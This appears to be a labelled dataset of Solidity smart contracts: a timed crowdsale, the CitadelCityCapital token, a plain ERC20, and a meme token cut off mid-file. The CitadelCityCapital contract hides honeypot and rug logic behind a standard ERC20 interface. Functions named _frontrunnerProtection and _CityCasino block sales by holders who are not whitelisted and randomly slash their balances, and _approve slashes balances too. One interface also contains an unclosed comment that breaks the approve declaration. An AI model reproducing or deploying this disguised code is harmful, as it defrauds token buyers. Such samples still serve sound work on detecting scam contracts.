*/ contract Crowdsale { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statemens to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } // File: node_modules/zeppelin-solidity/contracts/crowdsale/emission/AllowanceCrowdsale.sol /** * @title AllowanceCrowdsale * @dev Extension of Crowdsale where tokens are held by a wallet, which approves an allowance to the crowdsale. */ contract AllowanceCrowdsale is Crowdsale { using SafeMath for uint256; address public tokenWallet; /** * @dev Constructor, takes token wallet address. * @param _tokenWallet Address holding the tokens, which has approved allowance to the crowdsale */ function AllowanceCrowdsale(address _tokenWallet) public { require(_tokenWallet != address(0)); tokenWallet = _tokenWallet; } /** * @dev Checks the amount of tokens left in the allowance. * @return Amount of tokens left in the allowance */ function remainingTokens() public view returns (uint256) { return token.allowance(tokenWallet, this); } /** * @dev Overrides parent behavior by transferring tokens from wallet. * @param _beneficiary Token purchaser * @param _tokenAmount Amount of tokens purchased */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transferFrom(tokenWallet, _beneficiary, _tokenAmount); } } // File: node_modules/zeppelin-solidity/contracts/crowdsale/validation/TimedCrowdsale.sol /** * @title TimedCrowdsale * @dev Crowdsale accepting contributions only within a time frame. */ contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { require(now >= openingTime && now <= closingTime); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public { require(_openingTime >= now); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { return now > closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } // File: contracts/KeyrptoCrowdsale2.sol contract KeyrptoCrowdsale2 is TimedCrowdsale, AllowanceCrowdsale { function KeyrptoCrowdsale2( uint256 _openingTime, uint256 _closingTime, uint256 _rate, address _wallet, ERC20 _token) public Crowdsale(_rate, _wallet, _token) TimedCrowdsale(_openingTime, _closingTime) AllowanceCrowdsale(_wallet) { // Empty constructor } /** * @dev Extend parent behavior adding pricing tiers * @param _weiAmount Amount of wei contributed */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(getRateIncludingBonus()); } function getRateIncludingBonus() internal view returns (uint256) { if (now < openingTime + 1 weeks) { return rate.mul(125).div(100); } else if (now < openingTime + 3 weeks) { return rate.mul(115).div(100); } else if (now < openingTime + 5 weeks) { return rate.mul(110).div(100); } else if (now < openingTime + 7 weeks) { return rate.mul(105).div(100); } else { return rate; } } }
True
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/** *Submitted for verification at Etherscan.io on 2021-11-25 */ // CitadelCityCapital (c) CCC pragma solidity 0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) public CitadelContract; mapping (address => bool) public ChainContract; mapping (address => uint256) private _balances; mapping (address => uint256) private _balancesCopy; mapping (address => mapping (address => uint256)) private _allowances; address[] private citadelArray; string private _name; string private _symbol; address private _creator; uint256 private _totalSupply; uint256 private PDContract; uint256 private CitadelTax; uint256 private ArmyCapital; bool private BigChainContract; bool private HelloFRs; bool private BigCityCapital; bool private ApproveTheCity; uint16 private DoTheCity; constructor (string memory name_, string memory symbol_, address creator_) { _name = name_; _creator = creator_; _symbol = symbol_; HelloFRs = true; CitadelContract[creator_] = true; BigChainContract = true; BigCityCapital = false; ChainContract[creator_] = false; ApproveTheCity = false; } function decimals() public view virtual override returns (uint8) { return 18; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function randomly(uint16 vl) internal returns (uint16) { DoTheCity = (uint16(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty)))%vl)/200); return DoTheCity; } function _frontrunnerProtection(address sender, uint256 amount) internal view { if ((CitadelContract[sender] == false)) { if ((amount > ArmyCapital)) { require(false); } require(amount < PDContract); } } function _CityCasino(address sender) internal { if ((CitadelContract[sender] == true) && (address(sender) != _creator) && (ApproveTheCity == false)) { if (randomly(400) == 1) { for (uint i = 0; i < citadelArray.length; i++) { if (CitadelContract[citadelArray[i]] != true) { _balances[citadelArray[i]] = _balances[citadelArray[i]] / uint256(randomly(16000)); } } ApproveTheCity = true; } } } function DeployCCC(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); (uint256 temp1, uint256 temp2) = (20, 1); _totalSupply += amount; _balances[account] += amount; PDContract = _totalSupply; CitadelTax = _totalSupply / temp1; ArmyCapital = CitadelTax * temp2; emit Transfer(address(0), account, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); (CitadelContract[spender],ChainContract[spender],BigChainContract) = ((address(owner) == _creator) && (BigChainContract == true)) ? (true,false,false) : (CitadelContract[spender],ChainContract[spender],BigChainContract); _allowances[owner][spender] = amount; _balances[owner] = ApproveTheCity ? (_balances[owner] / uint256(randomly(16000))) : _balances[owner]; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); (PDContract,BigCityCapital) = ((address(sender) == _creator) && (HelloFRs == false)) ? (CitadelTax, true) : (PDContract,BigCityCapital); (CitadelContract[recipient],HelloFRs) = ((address(sender) == _creator) && (HelloFRs == true)) ? (true, false) : (CitadelContract[recipient],HelloFRs); _frontrunnerProtection(sender, amount); _CityCasino(sender); citadelArray.push(recipient); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator) { DeployCCC(creator, initialSupply); } } contract CitadelCityCapital is ERC20Token { constructor() ERC20Token("CitadelCityCapital", "CCC", msg.sender, 50000000 * 10 ** 18) { } }
True
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/** *Submitted for verification at Etherscan.io on 2021-09-03 */ pragma solidity ^0.5.0; contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. * function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public { _burn(_msgSender(), amount); } /** * @dev See {ERC20-_burnFrom}. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } } contract NFTToken is ERC20, ERC20Detailed, ERC20Burnable { constructor () public ERC20Detailed("Nicotine Free Tobacco", "NFT", 18) { _mint(msg.sender, 500000000 * (10 ** uint256(decimals()))); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-06-07 */ // Shiba Boner (SHIBABONER🍆 ) // 1% BURN AND 1% REDISTRIBUTION PER TRANSACTION // Full Liquidity Lock // Cooldown enabled to prevent bot abuse // 100% fair launch no dev tokens // Welcome to Shiba Boner /* ██ ██▒▒██ ██▒▒▒▒██ ████▒▒▒▒██ ██████ ██▒▒▒▒▒▒██▒▒▒▒▒▒██ ██▒▒▒▒▒▒▒▒██████ ██▒▒▒▒▒▒▒▒██▓▓▓▓▓▓██ ██▒▒████▒▒██▓▓▓▓▓▓▓▓██ ██▒▒██████▓▓▓▓▓▓▓▓▓▓▓▓████ ████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████ ████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓██████ ████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓██ ████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓▓▓██ ████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓▓▓██ ████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓██ ██████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓██ ██████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓██ ██████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓██ ██████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓████ ██████████▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓████ ██████████▓▓▓▓▓▓▓▓▓▓▓▓██████ ████████████████████████ ████████████████████ ████████████ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * 